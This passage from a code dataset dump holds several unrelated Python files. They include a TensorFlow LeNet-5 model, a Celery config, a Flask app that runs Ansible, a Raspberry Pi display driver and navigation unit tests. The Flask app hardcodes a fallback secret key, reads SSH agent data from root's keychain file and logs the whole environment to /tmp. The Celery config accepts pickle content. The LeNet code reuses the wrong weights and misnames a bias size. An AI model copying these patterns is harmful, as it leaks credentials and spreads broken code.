open(os.path.join(directory, 'config.txt'), 'w') as f:\n # DEFAULT_CONFIG\n f.write('DEFAULT_CONFIG\\n\\n')\n for item in config.DEFAULT_CONFIG:\n f.write('{k}:{v}\\n'.format(k=item, v=config.DEFAULT_CONFIG[item]))\n # CANDIDATE_GENERATOR_CONFIG\n f.write('\\nCANDIDATE_GENERATOR_CONFIG\\n\\n')\n for item in config.CANDIDATE_GENERATOR_CONFIG:\n f.write('{k}:{v}\\n'.format(k=item, v=config.CANDIDATE_GENERATOR_CONFIG[item]))\n sh.print('Finished writing ', os.path.join(directory, 'config.txt'))\n\n\nif __name__ == '__main__':\n \"\"\"\n Main method\n \n \"\"\"\n\n \"Set environment variable\"\n os.environ[\"PYTHONUNBUFFERED\"] = \"1\" # see issue #152\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0,1\"\n os.environ[\"TF_FORCE_GPU_ALLOW_GROWTH\"] = \"true\"\n os.environ[\"DISPLAY\"] = \"localhost:10.0\"\n\n # Run Data Selector\n if config.DEFAULT_CONFIG['run_data_selector']:\n # Init the data selector class\n data_selector = DataSelector()\n # Select Genertor Data\n data_selector.select_generator_data()\n\n # Run the Candidate Generator\n if config.DEFAULT_CONFIG['run_candidate_generator']:\n\n # Lets prepare the experiment directory\n experiment_dir, is_trainable = create_experiemnt_dir(\n model_name=config.CANDIDATE_GENERATOR_CONFIG['model_name'],\n experiment_id=config.CANDIDATE_GENERATOR_CONFIG['experiment_id']\n )\n sh.print('Experiment Dir', experiment_dir)\n\n if is_trainable:\n # Dump config in the experiment dir\n dump_config(experiment_dir)\n # Init the Candidate Generator\n generator_trainer = candidate_gen_trainer.Trainer(base_dir=experiment_dir, is_trainable=is_trainable)\n # Start Training\n generator_trainer.train()\n sh.print(\"Skipping to Prediction\")\n\n # # Init the Candidate Generator Predictor\n # generator_predictor = candidate_gen_predictor.Predictor(base_dir=experiment_dir)\n #\n # # Start Prediction\n # generator_predictor.predict()\n #\n # # Calculate Detection Rate\n # generator_predictor.calculate_detection_rate()\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"79494784","text":"#-*- coding:utf-8 -*-\nimport tensorflow as tf\n\n# 配置神经网络的参数\ninput_node = 784\noutput_node = 10\n\nimage_size = 28\nnum_channels = 1\nnum_labels = 10\n\n# 第一层卷积的尺度和深度\nconv1_deep = 32\nconv1_size = 5\n\n\n# 第二层卷积的尺度和深度\nconv2_deep = 64\nconv2_size = 5\n\n# 全连接层的节点数\nfc_size = 512\n\n# 定义卷积神经网络的前向传播过程。这里添加一个新的参数train ,用于区分训练过程和测试过程\n# 这个过程将会用到dropout方法,可以进一步提高模型的可靠性病防止过拟合\n#dropout 只在训练过程之中使用\n\ndef inference(input_tensor,train,regularizer):\n with tf.variable_scope('layer1-conv1'): # 作用域(隔离变量到当前的)\n # 声明权重\n conv1_weight = tf.get_variable(\"weight\",[conv1_size,conv1_size,num_channels,conv1_deep],\n initializer = tf.truncated_normal_initializer(stddev=0.1))\n # 声明偏移\n conv1_biases = tf.get_variable('bias',[conv1_deep] , initializer= tf.constant_initializer(0.0))\n # 使用边长为5 ,深度为32的过滤器,过滤器移动的步长为1 ,且使用全0填充\n conv1 = tf.nn.conv2d(input_tensor,conv1_weight , strides= [1,1,1,1] ,padding='SAME')\n relu1 = tf.nn.relu(tf.nn.bias_add(conv1,conv1_biases))\n\n # 使用第二层池化层的前向传播过程,这里选用最大池化层 池化层过滤器的边长为2\n # 使用全0填充 并且移动的步长为2。这一层的输入是上一层的输出,也就是说,是 28 × 28 * 32 的矩阵\n # 输出为 14*14 * 32的矩阵\n with tf.name_scope('layer2-pool1'):\n pool1 = tf.nn.max_pool(relu1 , ksize=[1,2,2,1] , strides= [1,2,2,1] ,padding='SAME')\n\n # 声明第三层卷基层的变量 并实现前向传播过程。这一层的输入为14*14*32的矩阵\n # 输出为 14 × 14 × 64 的矩阵\n with tf.variable_scope('layer3-conv2'):\n conv2_weight = tf.get_variable(\"weight\",[conv2_size , conv2_size , conv1_deep ,conv2_deep],\n initializer= tf.truncated_normal_initializer(stddev=0.1))\n conv2_biases = tf.get_variable('bias',[conv2_deep],initializer=tf.constant_initializer(0.0))\n # 使用边长为5,深度为64的过滤器,过滤器移动的步长为1,且使用全0填充\n conv2 = tf.nn.conv2d(pool1 , conv1_weight ,strides=[1,1,1,1],padding=\"SAME\")\n relu2 = tf.nn.relu(tf.nn.bias_add(conv2,conv2_biases))\n\n # 实现第四层池化层的前向传播网络。这一层和第二层的结构是一样的。\n # 这一层的输入为14*14*64的矩阵,输出为7*7*64的矩阵\n with tf.name_scope('layer4-pool2'):\n pool2 = tf.nn.max_pool(relu2 , ksize=[1,2,2,1] , strides=[1,2,2,1] ,padding=\"SAME\")\n\n # 将第四层池化层的输出转化为第五层全连接的输入\n # 第四层的输出为 7*7*64 的矩阵,然而第五层全连接层需要的输入格式为向量,所以在这里需要将这个7*7*64的矩阵拉直成为一个向量\n # pool2.get_shape 函数可以得到第四层输出矩阵的维度而不需要手工计算。\n # 注意因为每一层神经网络的输入输出都为一个batch的矩阵,所以这里得到的维度也包含了一个batch中数据的个数\n pool_shape = pool2.get_shape().as_list() # 得到pool2输入层的具体尺寸 [元素的个数,7,7,64]\n # 计算将矩阵拉直成为向量之后的长度,这个长度就是矩阵的长度及深度的乘积,注意这里\n # pool_shape[0]为一个batch中数据的个数\n nodes = pool_shape[1] * pool_shape[2] * pool_shape[3]\n # 通过tf.reshape()函数将第四层的输出变成一个batch的向量\n reshaped =tf.reshape(pool2,[pool_shape[0],nodes])\n\n # 声明第五层全连接层的变量,并且实现全向传播过程.这一层的输入是拉直之后的一组向量.\n # 向量的长度为3136,输出是一组512的向量\n # 引入dropout的概念,dropout在训练时会随即将部分节点的输出改为0,可以避免过拟合的问题.从而使模型在测试数据上的效果更好\n # dropout 一般只在全连接层而不是卷积层或者池化层使用\n with tf.variable_scope('layer5-fc1'):\n fc1_weights = tf.get_variable('weight',[nodes,fc_size],\n initializer=tf.truncated_normal_initializer(stddev=0.1))\n # 只有全连接层的权重需要加入正则化\n if regularizer!= None:\n tf.add_to_collection('losses',regularizer(fc1_weights)) # 为什么权重需要正则化?这里不理解\n fc1_biases = tf.get_variable('bias',[fc_size],initializer=tf.constant_initializer(0.1))\n fc1 = tf.nn.relu(tf.matmul(reshaped , fc1_weights) + fc1_biases)\n if train:\n fc1 = tf.nn.dropout(fc1,0.5)\n\n # 声明第六层全连接层的变量,并且实现前向传播过程.这一层的输入为一组长度为512的向量\n # 输出为一组长度为10的向量,这一层的输出通过softmax之后就得到了最后的分类结果\n with tf.variable_scope('layer6-fc2'):\n fc2_weight = tf.get_variable(\"weight\",[fc_size,num_labels],\n initializer=tf.truncated_normal_initializer(stddev=0.1))\n if regularizer != None:\n tf.add_to_collection('losses',regularizer(fc2_weight))\n fc2_biases = tf.get_variable('bias',[num_channels],\n initializer=tf.constant_initializer(0.1))\n logit = tf.matmul(fc1,fc2_weight) + fc2_biases\n\n # 返回第六层的输出\n return logit","sub_path":"lenet_5.py","file_name":"lenet_5.py","file_ext":"py","file_size_in_byte":5802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"34800154","text":"\nfrom kombu import Exchange, Queue\nfrom datetime import timedelta\nfrom utils.client_tools import user, MAC\n\n\nMAC = '%s-client' % MAC\n#queueName = '%s-%s'%(user, MAC)\nqueueName = 'FFarmRenderQueue01'\nCELERY_TASK_SERIALIZER = 'msgpack'\nCELERY_ACCEPT_CONTENT = ['json', 'msgpack', 'yaml', 'pickle']\n\nCELERY_DEFAULT_QUEUE = MAC\nCELERY_QUEUES = (\n Queue(MAC, Exchange(MAC), routing_key=MAC),\n)\n\n\nBROKER_TRANSPORT_OPTIONS = {'fanout_prefix': True, 'fanout_patterns': True}\n\n\nCELERYBEAT_SCHEDULE = {\n 'ping': {\n 'task': 'pingAgent.ping',\n 'schedule': timedelta(seconds=2),\n 'options': {'queue': MAC}\n\n #'args': (1,2),\n }\n}\n","sub_path":"pingAgentConfig.py","file_name":"pingAgentConfig.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"303405385","text":"# /usr/bin/python\n#coding:utf-8\nfrom flask import Flask\nfrom flask import render_template,flash,redirect,url_for,request,session,current_app\nfrom flask_bootstrap import Bootstrap\nfrom flask_nav import Nav\nfrom flask_nav.elements import Navbar,View,Link,Subgroup,Separator\n\nfrom forms import PatchCommandForm\n\nimport os\nimport re\nimport time\nimport logging\n\nhosttemp_file = '/etc/ansible/hosttemp'\nlogfile = '/tmp/test.text'\nlogname = 'patchlog'\n\n\napp = Flask(__name__)\nbootstrap = Bootstrap(app)\nnav = Nav(app)\napp.config['SECRET_KEY'] = os.environ.get('SECRET_KEY') or 'this is secret key'\napp.config['SSH_AUTH_SOCK'] = os.popen(r\"cat /root/.keychain/localhost.localdomain-sh|sed -n '1p'|awk -F ';' '{print $1}'|awk -F '=' '{print $2}'\").read()\napp.config['SSH_AGENT_PID'] = os.popen(r\"cat /root/.keychain/localhost.localdomain-sh|sed -n '$p'|awk -F ';' '{print $1}'|awk -F '=' '{print $2}'\").read()\n\nnav.register_element('top',Navbar(\n View('PatchOw','PatchOw'),\n ))\n\ndef logConfig(prolog,logdir):\n logger = logging.getLogger(prolog) #设置log域\n logger.setLevel(logging.DEBUG)\n fmter = logging.Formatter('%(asctime)s %(levelname)s %(message)s', datefmt='%a, %d %b %Y %H:%M:%S')\n hdlr = logging.FileHandler(logdir) #输出到文件\n # print 'logdirlogdirlogdirlogdir%s' %logger\n console = logging.StreamHandler() #输出到控制台\n # hdlr.setFormatter(fmter) #文件输出格式\n # console.setFormatter(fmter) #控制台输出格式\n logger.addHandler(hdlr)\n logger.addHandler(console)\n return logger\n\nmylogger = logConfig(logname,logfile)\n\n\n\n# @app.route('/')\n# def hello_world():\n# return 'Hello World!'\n\n\n@app.route('/',methods=['GET','POST'])\ndef PatchOw():\n cmdpatch = None\n patchform = PatchCommandForm()\n if patchform.validate_on_submit():\n session['cmdpatch'] = patchform.patchcommand.data\n #判断是否选服\n\n #判断命令是否包含危险命令\n\n\n #清空日志内容\n stattime = time.strftime(\"%Y%m%d%H%M%S\", time.localtime())\n\n mylogger.info('执行操作时间:%s' %stattime)\n mylogger.info(session.get('cmdpatch'))\n\n\n mylogger.info(os.popen('env').read())\n mylogger.info('========1========')\n os.environ['SSH_AUTH_SOCK'] = app.config['SSH_AUTH_SOCK']\n os.environ['SSH_AGENT_PID'] = app.config['SSH_AGENT_PID']\n mylogger.info('===========2============')\n mylogger.info(app.config['SSH_AUTH_SOCK'])\n mylogger.info(app.config['SSH_AGENT_PID'])\n mylogger.info('==========3==========')\n mylogger.info(os.popen('env|grep SSH_A').read())\n mylogger.info('==========4======')\n os.system('env|grep SSH_A')\n mylogger.info(\"==========5============\")\n\n\n mylogger.info(os.popen('/usr/local/python27/bin/ansible -i %s selecthost -m ping -vvv' %hosttemp_file).read())\n os.popen('sed -i \"2,$\"d %s' %hosttemp_file)\n return redirect(url_for('PatchOw'))\n return render_template('patchOw.html',\n patchform=patchform,\n )\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","sub_path":"flask_ansible.py","file_name":"flask_ansible.py","file_ext":"py","file_size_in_byte":3155,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"97952623","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n Examples for the NURBS-Python Package\n Released under MIT License\n Developed by Onur Rauf Bingol (c) 2016-2017\n\"\"\"\n\nfrom nurbs import Curve as ns\nfrom nurbs import utilities as utils\nfrom matplotlib import pyplot as plt\n\n# Create a NURBS curve instance\ncurve = ns.Curve()\n\n# Set up the NURBS curve\ncurve.read_ctrlpts(\"data/CP_Curve1.txt\")\ncurve.degree = 4\n# Auto-generate the knot vector\ncurve.knotvector = utils.knotvector_autogen(curve.degree, len(curve.ctrlpts))\n\n# Calculate curve points\ncurve.evaluate_rational()\n\n# Arrange control points for plotting\nctrlpts_x = []\nctrlpts_y = []\nfor pt in curve.ctrlpts:\n ctrlpts_x.append(pt[0])\n ctrlpts_y.append(pt[1])\n\n# Arrange curve points for plotting\ncurvepts_x = []\ncurvepts_y = []\nfor pt in curve.curvepts:\n curvepts_x.append(pt[0])\n curvepts_y.append(pt[1])\n\n# Plot using Matplotlib\nplt.figure(figsize=(10.67, 8), dpi=96)\ncppolygon, = plt.plot(ctrlpts_x, ctrlpts_y, \"k-.\")\ncurveplt, = plt.plot(curvepts_x, curvepts_y, \"r-\")\nplt.legend([cppolygon, curveplt], [\"Control Points Polygon\", \"Evaluated Curve\"])\nplt.show()\n\nprint(\"End of NURBS-Python Example\")\n","sub_path":"ex_curve01.py","file_name":"ex_curve01.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"474479302","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build\\bdist.win32\\egg\\banta\\db\\config.py\n# Compiled at: 2013-02-15 16:10:56\n\"\"\"Module for configuration on a .ini file.\nThe class in this module should be instantiated before loading the rest of the app.\nBecause it holds the criticial configuration for the app, the one that could be used as a safenet.\nThis is important for stuff that could break the app\"\"\"\nfrom __future__ import absolute_import, print_function, unicode_literals\nimport ConfigParser, os\n\nclass Config:\n EXPERIMENTAL = False\n PERSISTENT_PRINTER = True\n DEBUG = False\n PROFILING = False\n SERVER = b''\n DISABLED_MODULES = []\n WEBSERVICE_PORT = 8008\n K_EXPERIMENTAL = b'experimental'\n K_PERSISTENT_PRINTER = b'persistent_printer'\n K_DEBUG = b'debug'\n K_PROFILING = b'profiling'\n K_DISABLED_MODULES = b'disabled_modules'\n K_WEBSERVICE_PORT = b'webservice_port'\n K_SERVER = b'server'\n\n def __init__(self, cfg=b'banta.cfg'):\n self.filename = os.path.join(os.path.abspath(b'.'), cfg)\n self.defaults = {self.K_DEBUG: str(self.DEBUG), \n self.K_PROFILING: str(self.PROFILING), \n self.K_PERSISTENT_PRINTER: str(self.PERSISTENT_PRINTER), \n self.K_EXPERIMENTAL: str(self.EXPERIMENTAL), \n self.K_DISABLED_MODULES: (b',').join(self.DISABLED_MODULES), \n self.K_WEBSERVICE_PORT: str(self.WEBSERVICE_PORT), \n self.K_SERVER: self.SERVER}\n self.config = ConfigParser.SafeConfigParser(self.defaults)\n self.config.readfp(open(self.filename, b'a+'))\n self.load()\n\n def load(self):\n sect = b'DEFAULT'\n self.PROFILING = self.config.getboolean(sect, self.K_PROFILING)\n self.DEBUG = self.config.getboolean(sect, self.K_DEBUG)\n self.PERSISTENT_PRINTER = self.config.getboolean(sect, self.K_PERSISTENT_PRINTER)\n self.EXPERIMENTAL = self.config.getboolean(sect, self.K_EXPERIMENTAL)\n d_modules = self.config.get(sect, self.K_DISABLED_MODULES)\n self.DISABLED_MODULES = [ m.strip() for m in d_modules.split(b',')\n ]\n self.WEBSERVICE_PORT = int(self.config.get(sect, self.K_WEBSERVICE_PORT))\n self.SERVER = self.config.get(sect, self.K_SERVER)\n\n def get(self, section, key):\n return self.config.get(section, key)\n\n def set(self, key, value, section=None):\n if self.config:\n if section:\n if not self.config.has_section(section):\n self.config.add_section(section)\n else:\n section = b'DEFAULT'\n self.config.set(section, key, str(value))\n return True\n else:\n return False\n\n def write(self):\n \"\"\"This method writes back the configuration.\n Is better to call this method explicitly instead of putting this code in __del__\n This file only holds critical configuration that might crash banta,\n so , if the software crashes is better not to write that configuration..\n\n \"\"\"\n self.set(self.K_PROFILING, self.PROFILING)\n self.set(self.K_DEBUG, self.DEBUG)\n self.set(self.K_EXPERIMENTAL, self.EXPERIMENTAL)\n self.set(self.K_PERSISTENT_PRINTER, self.PERSISTENT_PRINTER)\n self.set(self.K_DISABLED_MODULES, (b',').join(self.DISABLED_MODULES))\n self.set(self.K_WEBSERVICE_PORT, str(self.WEBSERVICE_PORT))\n self.set(self.K_SERVER, self.SERVER)\n if self.config:\n self.config.write(open(self.filename, b'w'))","sub_path":"pycfiles/banta-1.23.0-py2.7/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":3688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"239522873","text":"import RPi.GPIO as GPIO\nfrom time import sleep\nfrom time import ctime\n\n# ======================================================================================================\n# SevenSegment class\n# ======================================================================================================\n\nclass SevenSegmentRaw():\n def __init__(self, digitPins, segmentPins, colonPin, commonAnode=True):\n GPIO.setmode(GPIO.BCM)\n GPIO.setwarnings(False)\n self.digitPins = digitPins\n self.segmentPins = segmentPins\n self.colonPin = colonPin\n\n if commonAnode:\n self.SEGON = 0\n self.SEGOFF = 1\n self.DIGON = 1\n self.DIGOFF = 0\n else:\n self.SEGON = 1\n self.SEGOFF = 0\n self.DIGON = 0\n self.DIGOFF = 1 \n\n # Turn all digits off\n for digit in self.digitPins:\n GPIO.setup(digit, GPIO.OUT)\n GPIO.output(digit, self.DIGOFF)\n\n # Turn all segments off\n for segment in self.segmentPins:\n GPIO.setup(segment, GPIO.OUT)\n GPIO.output(segment, self.SEGOFF)\n\n # Colon pin off\n GPIO.setup(colonPin, GPIO.OUT)\n GPIO.output(colonPin, self.SEGOFF) \n \n OFF = self.SEGOFF\n ON = self.SEGON\n self.nums = {\n ' ':(OFF,OFF,OFF,OFF,OFF,OFF,OFF),\n '0':(ON ,ON ,ON ,OFF,ON ,ON ,ON ),\n '1':(OFF,OFF,ON ,OFF,OFF,ON ,OFF),\n '2':(ON ,OFF,ON ,ON ,ON ,OFF,ON ),\n '3':(ON ,OFF,ON ,ON ,OFF,ON ,ON ),\n '4':(OFF,ON ,ON ,ON ,OFF,ON ,OFF),\n '5':(ON ,ON ,OFF,ON ,OFF,ON ,ON ),\n '6':(ON ,ON ,OFF,ON ,ON ,ON ,ON ),\n '7':(ON ,OFF,ON ,OFF,OFF,ON ,OFF),\n '8':(ON ,ON ,ON ,ON ,ON ,ON ,ON ),\n '9':(ON ,ON ,ON ,ON ,OFF,ON ,ON )}\n \n def display(self, digits, dots, colon):\n # For each digit\n for digit in range(4):\n # Dispay the 7-segment number\n for segment in range(0,7):\n GPIO.output(self.segmentPins[segment], self.nums[digits[digit]][segment])\n\n # Display the dot if requested\n GPIO.output(self.segmentPins[7], self.SEGON if dots[digit]==\".\" else self.SEGOFF)\n\n # Display the : if requested\n GPIO.output(self.colonPin, self.SEGON if colon else self.SEGOFF)\n\n # Turn on the digit for 1 millisecond\n GPIO.output(self.digitPins[digit], self.DIGON)\n sleep(0.001)\n GPIO.output(self.digitPins[digit], self.DIGOFF) \n\n def displayTime(self):\n while True:\n digits = ctime()[11:13]+ctime()[14:16] # get the time\n self.display(digits, \" \", True) \n\n def displayDigits(self, digits, dots=\" \"):\n while True:\n self.display(digits, dots, False) \n\n\nseg = SevenSegmentRaw(digitPins=(21, 20, 16, 12), segmentPins=(26,19,13,6,5,11,9,10), colonPin=22)\ntry:\n #seg.displayTime()\n seg.displayDigits(\"3456\")\nexcept KeyboardInterrupt:\n GPIO.cleanup() ","sub_path":"test_raw_7segment.py","file_name":"test_raw_7segment.py","file_ext":"py","file_size_in_byte":3097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"169449025","text":"from bs4 import BeautifulSoup\r\nimport lxml\r\n\r\nwith open(\"website.html\", encoding=\"utf-8\") as file:\r\n contents = file.read()\r\n\r\nsoup = BeautifulSoup(contents, \"html.parser\")\r\n\r\n\r\n# all_anchor_tags = soup.find_all(name=\"a\")\r\n# print(all_anchor_tags)\r\n#\r\n# for tag in all_anchor_tags:\r\n# print(tag.get(\"href\"))\r\n# print(tag.get_text())\r\n\r\nheading = soup.find(name=\"h1\", id=\"name\")\r\n# print(heading.string)\r\n\r\nsection_heading = soup.find(name=\"h3\", class_=\"heading\")\r\n# print(section_heading.getText())\r\n\r\nname = soup.select_one(selector=\"#name\")\r\n\r\ncompany_url = soup.select_one(selector=\"p a\")\r\ncompany_url = company_url.get(\"href\")\r\n\r\nheadings = soup.select(\".heading\")\r\nprint(company_url)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"D45_Web_Scrabing/main_0.py","file_name":"main_0.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"455826618","text":"# Copyright (c) 2018, Simon Brodeur\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without modification,\n# are permitted provided that the following conditions are met:\n#\n# - Redistributions of source code must retain the above copyright notice,\n# this list of conditions and the following disclaimer.\n# - Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n# - Neither the name of the copyright holder nor the names of its contributors\n# may be used to endorse or promote products derived from this software\n# without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.\n# IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,\n# INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT\n# NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,\n# OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n\nimport os\nimport logging\nimport unittest\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom home_platform.navigation import NavigationHelper, getRegionLabeledOccupacyMap, NavigationGraph\nfrom home_platform.suncg import SunCgSceneLoader\n\ntry:\n SUNCG_DATA_DIR = os.environ[\"SUNCG_DATA_DIR\"]\nexcept KeyError:\n raise Exception(\"Please set the environment variable SUNCG_DATA_DIR\")\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass TestFunctions(unittest.TestCase):\n\n def testGetRegionLabeledOccupacyMap(self):\n\n houseId = \"0004d52d1aeeb8ae6de39d6bd993e992\"\n scene = SunCgSceneLoader.loadHouseFromJson(houseId, SUNCG_DATA_DIR)\n\n helper = NavigationHelper(scene)\n occupancyMap, _, _ = helper.calculateOccupancyMap(resolution=0.1)\n\n labeledOccupancyMap = getRegionLabeledOccupacyMap(\n occupancyMap)\n nbRegions = int(np.max(labeledOccupancyMap))\n self.assertTrue(np.array_equal(\n labeledOccupancyMap.shape, occupancyMap.shape))\n self.assertTrue(nbRegions == 4)\n\n # Colorize the map randomly\n image = np.zeros((labeledOccupancyMap.shape[0],\n labeledOccupancyMap.shape[1],\n 3))\n for r in range(1, nbRegions + 1):\n randomColor = np.random.uniform(size=(3,))\n image[labeledOccupancyMap == r] = randomColor\n\n fig = plt.figure(figsize=(8, 8))\n plt.ion()\n plt.show()\n plt.axis(\"off\")\n\n plt.imshow(image)\n\n plt.draw()\n plt.pause(1.0)\n plt.close(fig)\n\n\nclass TestNavigationGraph(unittest.TestCase):\n\n def testInit(self):\n nodes = [np.array([0.0, 0.0, 0.0]),\n np.array([0.0, 1.0, 0.0]),\n np.array([0.0, 1.0, 1.0])]\n connectivity = [[1, 2],\n [0],\n [1]]\n NavigationGraph(nodes, connectivity)\n\n def testToNx(self):\n\n nodes = [np.array([0.0, 0.0, 0.0]),\n np.array([0.0, 1.0, 0.0]),\n np.array([0.0, 1.0, 1.0])]\n connectivity = [[1, 2],\n [1],\n [2]]\n graph = NavigationGraph(nodes, connectivity)\n graph = graph.toNx()\n self.assertTrue(graph.number_of_nodes() == 3)\n self.assertTrue(graph.number_of_edges() == 4)\n\n\nclass TestNavigationHelper(unittest.TestCase):\n\n def testCalculateWallMap(self):\n\n houseId = \"0004d52d1aeeb8ae6de39d6bd993e992\"\n scene = SunCgSceneLoader.loadHouseFromJson(houseId, SUNCG_DATA_DIR)\n\n helper = NavigationHelper(scene)\n wallMap, xlim, ylim = helper.calculateWallMap(resolution=0.1)\n self.assertTrue(wallMap.shape[0] == wallMap.shape[1])\n self.assertTrue(wallMap.ndim == 2)\n\n factorX = wallMap.shape[0] / \\\n (xlim[1] - xlim[0]) # pixel per meter\n factorY = wallMap.shape[1] / \\\n (ylim[1] - ylim[0]) # pixel per meter\n self.assertTrue(np.allclose(factorX, factorY, atol=1e-6))\n\n fig = plt.figure(figsize=(8, 8))\n plt.ion()\n plt.show()\n plt.axis(\"off\")\n\n plt.imshow(wallMap, cmap='gray')\n\n plt.draw()\n plt.pause(1.0)\n plt.close(fig)\n\n def testCalculateFloorMap(self):\n\n houseId = \"0004d52d1aeeb8ae6de39d6bd993e992\"\n scene = SunCgSceneLoader.loadHouseFromJson(houseId, SUNCG_DATA_DIR)\n\n helper = NavigationHelper(scene)\n floorMap, xlim, ylim = helper.calculateFloorMap(resolution=0.1)\n self.assertTrue(floorMap.shape[0] == floorMap.shape[1])\n self.assertTrue(floorMap.ndim == 2)\n\n factorX = floorMap.shape[0] / \\\n (xlim[1] - xlim[0]) # pixel per meter\n factorY = floorMap.shape[1] / \\\n (ylim[1] - ylim[0]) # pixel per meter\n self.assertTrue(np.allclose(factorX, factorY, atol=1e-6))\n\n fig = plt.figure(figsize=(8, 8))\n plt.ion()\n plt.show()\n plt.axis(\"off\")\n\n plt.imshow(floorMap, cmap='gray')\n\n plt.draw()\n plt.pause(1.0)\n plt.close(fig)\n\n def testCalculateObstacleMap(self):\n\n houseId = \"0004d52d1aeeb8ae6de39d6bd993e992\"\n scene = SunCgSceneLoader.loadHouseFromJson(houseId, SUNCG_DATA_DIR)\n\n helper = NavigationHelper(scene)\n obstacleMap, xlim, ylim = helper.calculateObstacleMap(resolution=0.1)\n self.assertTrue(obstacleMap.shape[0] == obstacleMap.shape[1])\n self.assertTrue(obstacleMap.ndim == 2)\n\n factorX = obstacleMap.shape[0] / \\\n (xlim[1] - xlim[0]) # pixel per meter\n factorY = obstacleMap.shape[1] / \\\n (ylim[1] - ylim[0]) # pixel per meter\n self.assertTrue(np.allclose(factorX, factorY, atol=1e-6))\n\n fig = plt.figure(figsize=(8, 8))\n plt.ion()\n plt.show()\n plt.axis(\"off\")\n\n plt.imshow(obstacleMap, cmap='gray')\n\n plt.draw()\n plt.pause(1.0)\n plt.close(fig)\n\n def testCalculateOccupancyMap(self):\n\n houseId = \"0004d52d1aeeb8ae6de39d6bd993e992\"\n scene = SunCgSceneLoader.loadHouseFromJson(houseId, SUNCG_DATA_DIR)\n\n helper = NavigationHelper(scene)\n occupancyMap, xlim, ylim = helper.calculateOccupancyMap(resolution=0.1)\n self.assertTrue(occupancyMap.shape[0] == occupancyMap.shape[1])\n self.assertTrue(occupancyMap.ndim == 2)\n\n factorX = occupancyMap.shape[0] / \\\n (xlim[1] - xlim[0]) # pixel per meter\n factorY = occupancyMap.shape[1] / \\\n (ylim[1] - ylim[0]) # pixel per meter\n self.assertTrue(np.allclose(factorX, factorY, atol=1e-6))\n\n fig = plt.figure(figsize=(8, 8))\n plt.ion()\n plt.show()\n plt.axis(\"off\")\n\n plt.imshow(occupancyMap, cmap='gray')\n\n plt.draw()\n plt.pause(1.0)\n plt.close(fig)\n\n def testCalculateNavigationGraph(self):\n\n houseId = \"0004d52d1aeeb8ae6de39d6bd993e992\"\n scene = SunCgSceneLoader.loadHouseFromJson(houseId, SUNCG_DATA_DIR)\n\n helper = NavigationHelper(scene)\n graph, occupancyMap, xlim, ylim = helper.calculateNavigationGraph(resolution=0.1,\n level=0, safetyMarginEdges=0.10)\n\n fig = plt.figure(figsize=(10, 10))\n plt.ion()\n plt.show()\n\n plt.imshow(occupancyMap, cmap='gray', origin='upper',\n extent=[xlim[0], xlim[1], ylim[0], ylim[1]])\n\n for i, ps in enumerate(graph.nodes):\n for k in graph.connectivity[i]:\n psk = graph.nodes[k]\n plt.plot([ps[0], psk[0]], [ps[1], psk[1]], 'green', zorder=1)\n\n plt.plot(ps[0], ps[1], 'r.', zorder=2)\n\n plt.draw()\n plt.pause(1.0)\n plt.close(fig)\n\n\nif __name__ == '__main__':\n logging.basicConfig(level=logging.WARN)\n unittest.main()\n","sub_path":"tests/home_platform/test_navigation.py","file_name":"test_navigation.py","file_ext":"py","file_size_in_byte":8441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"556866115","text":"from collections.abc import MutableSequence\nfrom typing import Any\n\nimport proto\nfrom google.rpc.status_pb2 import Status\n\nfrom google.ads.googleads.v14.resources.types.customer_label import CustomerLabel\n\nclass CustomerLabelOperation(proto.Message):\n create: CustomerLabel\n remove: str\n def __init__(\n self,\n mapping: Any | None = ...,\n *,\n ignore_unknown_fields: bool = ...,\n create: CustomerLabel = ...,\n remove: str = ...\n 